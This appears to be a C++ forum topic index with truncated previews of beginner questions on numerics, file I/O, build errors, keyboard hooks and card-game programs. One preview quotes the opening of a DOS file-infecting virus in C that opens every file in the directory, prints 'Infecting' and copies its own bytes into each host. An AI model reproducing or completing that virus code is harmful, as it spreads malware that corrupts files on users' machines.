49,760 Topics
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| | I am looking for a way to write a code implementing the Cholesky decomposition with only one loop (on K), utilizing outer product. Not sure how to go about this. MATLAB can do it, but i have to use c++. I have looked at parallelism but that is over my … |
| | #include <iostream> using namespace std; //class definition class Wage { public: int duration; int price; int calculateWage() { cout<< "To exit program enter -1, to continue enter 1! "; cin>> duration; while(duration != -1) { cout<< "\n\nEnter employee hours worked (or -1 to quit): "; cin>> duration; { if(duration <= … |
| | The purpose of the following code is to get a random number of 100 nodes and to distribute these nodes randomly in range 500*500 …(X,Y).. this was the first step #include<iostream> #include <fstream> #include<cmath> using namespace std; int main() { const int x = 0, y = 1; int nodes[100][2]; … |
| | My program consist of two classes: Form1 (windows form with textbox) and SerialCommunication (class for serial communication). When data occurs on COM port DateRecievedHandeler store the message to indata. public ref class SerialCommunication { private: static SerialPort^ mySerialPort; public: static String^ indata; static void OpenPort(); static void Close(); static void … |
| | help me out it says in fuction int main, expected primary expression,, #include <iostream> #include <stdlib.h> using namespace std; #define n_file 5 struct record_t { char accname[50]; int accnum; int intbal; int ctbal; int deposits; int deposit; } accounts[n_file]; void printbankaccounts(record_t record); void displayctbal(record_t record); int main() { char buffer[50]; … |
| | This code is supposed to write everything the user writes, and keep writing until the user presses ALT key. do{ //declaration string A; getline(cin,A); ofstream file; ifstream file1; //file opening file.open("C:\\Dev-Cpp\\file.txt"); file1.open("C:\\Dev-Cpp\\file.txt"); //file input file<<A; file.close(); file1.getline(B,1000); file1.close(); //file output cout<<B; } while (wParam!=VK_MENU); The problem is, it says: wParam … |
 | I'm using a MinGW compiler. Anyone know how to fix this error. I found something on the web where the flag should have a macro such as CXX_HAS_CSTDDEF but this is for a different compiler. What should I use for MingW is this is the problem? Is this common?? In … |
| | I'm trying to visualize a model of lenticular images virtually with opengl pov-ray seen that it is possible by making an array of semi-cylinder lens in front of the square in POV-Ray to "play" Anyone know how to do with opengl? tks |
| | Hi quick question on this card program im writing. As of now the program should just create the deck and print it from main() using printDeck(). Im not sure why but the deck is printing in a strange format. It should print "Ace" "Spades" for example. Insead the output looks … |
 | Just got the book C++ Programming in easy steps. I just did the following program and although I ran it with now problems the book and this program really do not at all help understand how an enum or a typedef are usefull in the real world. #include <iostream> using … |
| | have just joined the forum, looks great. I'm a C++ developer with 4 yrs exp. thanks Ben Mauerberger  |
| | string word = "abcde"; int count = 0; for(int i = 0; i < word.length(); i++){ for(int j = 1; j < word.length(); j++){ if(word.at(i) == word.at(j)){ count++; } } } i am trying to write a program that when i am given a string i can count letter pairs … |
| | How can I attach the OCX of WMP to my dialog based application? I want to use the methods of IWMPControls interface such as play() and pause(). I want to call these method by clicking the button given in the dialog box. Its Urgent... |
| | Hi guys so I am making function for my graphs (adjacency matrices) to return number of connected components using breadth first search algorithm. It almost works properly. It returns proper value if number of components is equal to number of vertices, but if number of components is smaller than number … |
 | I have designed a linklist based BookStore in which book's attributes will be stored in a node & so on. Plus at the end of program, I have to save all database into text file *(I tried binary reading but damn I got me killed & couldn't do it)* & … |
| | garrett@mint-desktop ~ $ c++ -v Using built-in specs. COLLECT_GCC=c++ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.6/lto-wrapper Target: x86_64-linux-gnu Configured with: ../src/configure -v --with-pkgversion='Ubuntu/Linaro 4.6.3-1ubuntu5' --with-bugurl=file:///usr/share/doc/gcc-4.6/README.Bugs --enable-languages=c,c++,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.6 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.6 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --disable-werror --with-arch-32=i686 --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu Thread model: posix gcc version … |
| | I think this community member will help me to clear my problem. Am not a c++ professional just a beginner. Am on the way to create a software for a browsing center. Am almost struck with the problem of creating multiple text files. To be more clear, Say, a browsing … |
 | Hope someone can clarify. I'm self-studying and my question relates to Programming Exercise # 2, Chapter 12, C++ Primer Plus Fifth Edition (pg. 629). I completed the exercise and achieved the desired result but my query came about when I compared my version to the solution. The exercise builds upon … |
| | **hello every body i am trying to filter alog file witch is save as txt file on my computer so i want to filter the log file depend on a particular word and this word apper in 3 column but the column i want is th 3rd one for example … |
| | How I will multiply this matrix by using for loop ? #include<iostream> using namespace std; void mat_mul_2d(int mat_out_2d[][2], int mat_in1_2d[][2], int mat_in2_2d[][2]) { mat_out_2d[0][0]=mat_in1_2d[0][0]*mat_in2_2d[0][0]+mat_in1_2d[0][1]*mat_in2_2d[1][0]; mat_out_2d[1][1]=mat_in1_2d[0][0]*mat_in2_2d[0][1]+mat_in1_2d[0][1]*mat_in2_2d[1][1]; mat_out_2d[2][2]=mat_in1_2d[1][0]*mat_in2_2d[0][0]+mat_in1_2d[1][1]*mat_in2_2d[1][0]; mat_out_2d[3][3]=mat_in1_2d[1][0]*mat_in2_2d[0][1]+mat_in1_2d[1][1]*mat_in2_2d[1][1]; } int main() { int mat_in1_2d[2][2] = {{1, 2},{3, 4}}; / int mat_in2_2d[2][2]={{1,0},{0,1}}; int mat_out_2d[2][2]={{0},{0}}; mat_mul_2d(mat_out_2d,mat_in1_2d,mat_in2_2d); return 0; } |
| | Guyz can anyone tell me what the heck is this..??? #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %sn”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); …  |
| | Hi. Im trying to write a simple deck of cards program. I am having difficulty in expressing my integer deck into a printable form. The deck is generated as this: 00102030405060708090100110120011121314151617181911011111210212223242526272829210211212203132333435363738393103113123 The leading numbers assign to suits and the following number assign to card rank. Basically how can I convert … |
| | Hi I have a quick question about a program im writing. The bold part is where im stuck. As of now my output is correct. Just wondering how to delete the memory I allocated. The question asks: Let us say that you want to choose how many marks to enter … |
| | I'm trying ot build a podofo library and it gets up to 65% and the below error occures. The entire code snipped is below. Not sure what this means or the faintest idea on how to fix it. Basically I've generated a makefile with CMAKE and tried to bild the … |
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| | I'm trying to build a CPP library and have set the CPP Include path as below. I Am using Windows XP with MinGW compiler. VARIABLE NAME: CPLUS_INCLUDE_PATH VARIABLE VALUE: C:\CodeBlocks\MinGW\lib\gcc\mingw32\4.4.1\include\c++ I have restarted my PC several times but I still get an error message telling me that the file it … |
| | Hello all. I'm working on a simple game at the moment and thus I started heading in the direction of windows hooks. I easily got the low level keyboard hook working. But of course I had to attempt the other version which uses dll's for hooking. After many attempts at … |
| | Hello! I believe hotkeys or keyboard shortcuts is the correct term. (Ctrl+C is copy etc...) Well I'm having troubles trying to figure out how to do this. I'm very new to the win32 api and such And I'm just clueless. Any help is very much appreciated! |
| | Okay so i am really new to coding(about 2 weeks) and need help with an assignment.the asignment goes like this "Write a program that will read in a file named pa7-temp.txt (located in the current directory) that contains a set of temperatures, and then prints out how many were in …  |
| | Hey everyone, What book would be recommended to learn C++ between Prata C++ Primer Plus, or the C++ Programming Language by Bjarne Stroustrup? I believe C++ Primer Plus would cover everything, but does someone need expirence in order to read the book by Bjarne? Does the Bjarne book covers everything … |
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